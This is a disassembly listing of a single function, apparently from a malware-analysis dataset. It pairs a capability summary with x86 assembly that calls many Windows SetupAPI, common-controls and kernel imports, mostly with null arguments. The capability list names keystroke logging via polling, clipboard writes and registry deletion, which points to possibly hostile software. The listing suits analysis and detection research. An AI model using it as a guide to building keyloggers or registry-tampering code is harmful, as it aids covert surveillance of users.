Function at 0x469db0
Capabilities:
Clear file content
Compare security identifiers
Create directory
Create thread
Delete registry key
Delete registry value
Enumerate files on windows
Get common file path
Get file attributes
Get graphical window text
Get system information on windows
Log keystrokes via polling
Query or enumerate registry value
Resume thread
Set current directory
Terminate thread
Write clipboard data

Disassembly:
push ecx
mov eax, dword [esp]
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.SETUPAPI.dll_SetupGetBinaryField]
mov edx, dword [esp]
push 0
push 0
push 0
or edx, eax
push 0
push 0
mov dword [esp + 0x14], edx
call dword [sym.imp.SETUPAPI.dll_SetupGetFileCompressionInfoA]
mov edx, dword [esp]
push 0
push 0
push 0
or edx, eax
push 0
push 0
mov dword [esp + 0x14], edx
call dword [sym.imp.SETUPAPI.dll_SetupGetFileCompressionInfoW]
mov edx, dword [sym.imp.SETUPAPI.dll_SetupDecompressOrCopyFileW]
mov ecx, dword [esp]
or eax, edx
push 0
or ecx, eax
mov dword [esp + 4], ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
or dword [esp], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0
call dword [sym.imp.COMCTL32.dll_ImageList_Destroy]
mov ecx, dword [esp]
push 0
or ecx, eax
mov dword [esp + 4], ecx
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov edx, dword [esp]
push 0
or edx, eax
push 0
push 0
mov dword [esp + 0xc], edx
call dword [sym.imp.COMCTL32.dll_ImageList_GetIconSize]
mov ecx, dword [esp]
push 0
push 0
push 0
push 0
or ecx, eax
push 0
push 0
mov dword [esp + 0x18], ecx
call dword [sym.imp.COMCTL32.dll_ImageList_Draw]
mov edx, dword [esp]
push 0
or edx, eax
push 0
push 0
mov dword [esp + 0xc], edx
call dword [sym.imp.COMCTL32.dll_ImageList_Add]
mov ecx, dword [esp]
push 0xd
push 0x38
push 0
or ecx, eax
push 0x14
push 0xa
mov dword [esp + 0x14], ecx
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
mov ecx, dword [esp]
push 0
or ecx, eax
push 0
mov dword [esp + 8], ecx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.COMCTL32.dll_ImageList_LoadImageW]
mov ecx, dword [esp]
or ecx, eax
push ecx
push 0
push ecx
mov dword [esp + 0xc], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [esp]
or ecx, eax
push ecx
push ecx
push ecx
push ecx
push 0xffffffffffffffff
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov ecx, dword [esp]
push 0
or ecx, eax
push 0
mov dword [esp + 8], ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov ecx, dword [esp]
push 0
or ecx, eax
push 0
mov dword [esp + 8], ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [esp]
push 0
or ecx, eax
push 0
mov dword [esp + 8], ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esp]
push 0
or ecx, eax
mov dword [esp + 4], ecx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [esp]
push 0
or ecx, eax
mov dword [esp + 4], ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [esp]
lea edx, [esp]
push ecx
push 0
lea eax, [esp + 8]
push edx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
mov ecx, dword [esp]
push 0
or ecx, eax
mov dword [esp + 4], ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp]
or ecx, eax
mov dword [esp], ecx
mov ecx, dword [0x50d0a8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [esp]
push 0xffffffffffffffff
or ecx, eax
mov dword [esp + 4], ecx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov ecx, dword [esp]
or ecx, eax
push ecx
push 0
mov dword [esp + 8], ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, dword [esp]
push 0
or ecx, eax
push ecx
push 0
push 0
push 0
push 0
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [esp]
push 0
push 0
or edx, eax
push 0
push 0
mov dword [esp + 0x10], edx
call dword [sym.imp.KERNEL32.dll_RaiseException]